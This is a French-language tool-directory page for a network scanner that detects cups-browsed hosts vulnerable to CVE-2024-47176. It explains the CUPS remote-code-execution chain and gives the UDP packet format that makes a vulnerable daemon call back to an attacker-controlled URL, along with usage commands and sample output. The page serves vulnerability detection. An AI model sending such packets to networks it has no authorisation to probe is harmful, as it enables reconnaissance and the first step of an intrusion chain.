Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-47176-Scanner — Un scanner simple pour identifier les instances vulnérables de cups-browsed sur votre réseau | Kitploit
Outils/GitHubGitHub/malwaretech/cve-2024-47176-scanner
ReconnaissanceScanners de VulnérabilitésExploitationCollecte d'InformationsSécurité RéseauTests d'Intrusion
GitHubmalwaretech/cve-2024-47176-scanner

CVE-2024-47176-Scanner

Un scanner simple pour identifier les instances vulnérables de cups-browsed sur votre réseau

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Voir le dépôt
66131il y a 1 anVérifié par Kitploit
Partager

Démarrage rapide

Exemple d'utilisation : python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.1:1337

Scanner de vulnérabilité CVE-2024-47176 (cups-browsed)

Qu'est-ce que CUPS et pourquoi est-ce important ?

CUPS (Common Unix Printing System) est un framework open-source pour gérer et contrôler les imprimantes sur les systèmes UNIX et similaires. C'est l'une des bibliothèques d'impression les plus utilisées et elle est supportée par UNIX, Linux et certains appareils Apple.

Plusieurs vulnérabilités critiques ont été découvertes dans CUPS, qui, lorsqu'elles sont enchaînées, peuvent conduire à une exécution de code à distance. Les CVE concernées sont CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177.

Ces vulnérabilités permettent à un attaquant distant d'ajouter ou de reconfigurer des imprimantes réseau de manière à exécuter du code arbitraire lorsque les utilisateurs tentent d'imprimer à partir de celles-ci.

Scan des systèmes CUPS vulnérables

Un aperçu rapide de CVE-2024-47176

La première vulnérabilité de la chaîne, CVE-2024-47176, est une faille dans le démon cups-browsed.

La vulnérabilité vient du fait que cups-browsed lie son port de contrôle (port UDP 631) à INADDR_ANY, l'exposant ainsi au monde entier. Comme les requêtes ne sont pas authentifiées, quiconque peut atteindre le port de contrôle peut ordonner à cups-browsed d'effectuer une découverte d'imprimante.

Dans les cas où le port n'est pas accessible depuis Internet (à cause de pare-feux ou du NAT), il peut toujours être accessible via le réseau local, permettant une élévation de privilèges et un mouvement latéral. Pour cette raison, j'ai créé ce scanner conçu pour analyser votre réseau local à la recherche d'instances vulnérables de cups-browsed.

Comment fonctionne le scan de CVE-2024-47176

En général, un attaquant commencerait le processus d'exploitation en envoyant une requête spécialement conçue à cups-browsed sur le port UDP 631, l'amenant à contacter une URL malveillante sous son contrôle.

Par exemple, un paquet UDP contenant ce qui suit : 0 3 http://<attacker_server>/printers/malicious_printer déclencherait cups-browsed pour émettre une requête HTTP vers http://<attacker_server>/printers/malicious_printer.

Si l'URL se présentait comme une imprimante malveillante, elle pourrait enchaîner le reste des CVE afin d'obtenir une exécution de code à distance.

En utilisant ce mécanisme, nous pouvons déclencher une instance vulnérable de cups-browsed pour qu'elle émette une requête HTTP (callback) vers notre propre serveur, s'identifiant ainsi comme vulnérable.

Le processus de scan est le suivant :

  1. Mettre en place un serveur HTTP basique (pas besoin de s'identifier comme une imprimante, car nous n'exploiterons pas la vulnérabilité RCE).
  2. Fabriquer un paquet UDP qui ordonnera à cups-browsed de se connecter à notre serveur HTTP.
  3. Envoyer le paquet UDP à chaque IP d'une plage donnée sur le port 631.
  4. Enregistrer toutes les requêtes POST vers le point de terminaison /printers/, qui sont déclenchées par les instances vulnérables de cups-browsed.

En supposant que notre serveur HTTP est hébergé sur 10.0.0.1:1337, notre paquet UDP devrait ressembler à ceci : 0 3 http://10.0.0.1:1337/printers/test1234

Automatisation des scans avec cups_scanner.py

Ce scanner Python gère tout pour vous (à la fois le serveur HTTP et le scan).

Le script lance un serveur HTTP temporaire via http.server sur une IP et un port spécifiés, puis construit et envoie des paquets UDP à chaque IP de la plage spécifiée. Le serveur HTTP capturera automatiquement les callbacks des instances vulnérables de cups-browsed et les enregistrera sur le disque.

Les logs conviviaux sont écrits dans logs/cups.log et les requêtes HTTP brutes sont écrites dans logs/requests.log

Arguments de la ligne de commande

--target le(s) CIDR à scanner. Peut être un seul CIDR ou plusieurs CIDR séparés par des virgules.
--callback l'IP et le port locaux pour héberger notre serveur HTTP (doit être accessible depuis la plage cible)
--scan-unsafe par défaut, nous ne scannons que les adresses hôtes assignables (nous excluons l'adresse réseau et l'adresse de diffusion). Dans certains cas, il peut être souhaitable de scanner ces adresses, ce comportement peut être outrepassé avec le flag --scan-unsafe.

Exemple d'utilisation

Scan du CIDR 10.0.0.0/24 depuis l'adresse IP 10.0.0.1, hébergeant le serveur de callback sur 1337 :
python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.1:1337

Scan de plusieurs CIDR depuis l'adresse IP 10.0.0.1, hébergeant le serveur de callback sur 1337 :
python3 cups_scanner.py --targets 10.0.0.0/24,10.0.1.0/24 --callback 10.0.0.1:1337

note : l'IP du serveur de callback doit appartenir à l'hôte de scan, et le port doit être accessible depuis chaque IP cible.

Exemple de sortie

root@kitploit:~
<root@haxx> python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.0.1:1337
[2024-10-06 21:57:09] starting callback server on 10.0.0.1:1337
[2024-10-06 21:57:14] callback server running on port 10.0.0.1:1337...
[2024-10-06 21:57:14] starting scan
[2024-10-06 21:57:14] scanning range: 10.0.0.1 - 10.0.0.254
[2024-10-06 21:57:14] scan done, use CTRL + C to callback stop server
[2024-10-06 21:57:14] received callback from vulnerable device: 10.0.0.22 - CUPS/2.4.10 (Linux 5.10.0-kali7-amd64; x86_64) IPP/2.0
[2024-10-06 21:57:14] received callback from vulnerable device: 10.0.0.25 - CUPS/2.4.10 (Linux 5.10.0-kali7-amd64; x86_64) IPP/2.0
[2024-10-06 21:57:17] shutting down server and exiting...

pour plus d'informations voir : Article officiel sur la vulnérabilité CUPS

Télécharger l’outil